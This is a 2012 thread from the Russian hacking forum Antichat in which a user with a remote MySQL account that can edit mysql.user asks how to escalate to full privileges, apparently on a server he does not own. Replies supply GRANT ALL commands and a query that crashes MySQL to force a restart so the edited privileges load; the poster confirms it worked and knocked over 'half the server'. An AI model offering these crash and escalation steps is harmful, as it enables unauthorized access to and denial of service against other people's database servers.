Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Mysql и шелл (https://forum.antichat.xyz/showthread.php?t=324667)

Pirotexnik 20.03.2012 18:40

День добрый.

Есть сервер мускула, есть в нем акк, к которому можно цеплятся с любых айпи. У акка file_priv=n

НО! У этого же акка есть права на чтение и изменение mysql.user. Сам себе выставил привелегии, но не сработало. Как я понял, нужен ребут мускула.

Появилась идея добавить нового юзера, насколько я помно все его привелегии применяются при создание.

Если я прав, то скажите какой командой это сделать. Спасибо.

blackybr 20.03.2012 18:48

ребут мускула не нужен, нужно "ребутнуть" привелегии

FLUSH PRIVILEGES;

Pirotexnik 20.03.2012 19:14

хе-хе) Палка о двух концах)

Цитата:

Сообщение от None
Error: Access denied; you need (at least one of) the RELOAD privilege(s) for this operation

Хотя я поставил Y

Может получится создать нового юзера? Какая команда?

mr.Penguin 30.03.2012 02:17

Цитата:

Сообщение от Pirotexnik
Pirotexnik said:
Какая команда?

Создаем новую БД и нового юзера с полными правами на только что созданную базу:

Код:

Code:
CREATE DATABASE ;
GRANT ALL PRIVILEGES ON .* TO 'Pirotexnik'@'%'
IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;

Полные права на все БД:

Код:

Code:
GRANT ALL PRIVILEGES ON *.* TO 'Pirotexnik'@'%'
IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;


Pirotexnik 31.03.2012 00:46

Цитата:

Сообщение от None
CREATE DATABASE ;

Цитата:

Сообщение от None
Error: Access denied for user 'translator'@'%' to database 'test2'

:/ :\

mr.Penguin 31.03.2012 01:10

Цитата:

Сообщение от Pirotexnik
Pirotexnik said:
:/ :\

Попробуйте так:

Код:

Code:
TO 'Pirotexnik'@'localhost'

Хотя этот запрос будет работать только на локалхосте, скорее всего ничего не произойдет.

Цитата:

Сообщение от Pirotexnik
Pirotexnik said:
Код:

Code:
Error: Access denied for user 'translator'@'%' to database 'test2'


А вот этот запрос составлен абсолютно верно, просто Вам по какой-то причине отказано в доступе. У Вас точно полные права?

Pirotexnik 31.03.2012 02:01

Я руками поставил себе права, т.к. есть доступ к изменению mysql.user

Но что бы преминить права нужно

Цитата:

Сообщение от None
FLUSH PRIVILEGES;

А что бы выполнилась эта команда - нужны права

nikp 05.04.2012 21:55

Цитата:

Сообщение от Pirotexnik
Pirotexnik said:
Если я прав, то скажите какой командой это сделать. Спасибо.

l1ght находил такой способ

Код:

Code:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);

mysql крашится от этого запроса

======

UPD

обычно проблем нет, мускул сразу же рестартует.

Проверяем аптайм.

SHOW STATUS LIKE 'Uptime'

Pirotexnik 07.04.2012 19:40

Нифига себе! Крашнуло! Спасибо!

Только заодно упало пол сервера ещё

____

Да, все круто! Ещё раз спасибо! Возьму на заметку.


Время: 13:00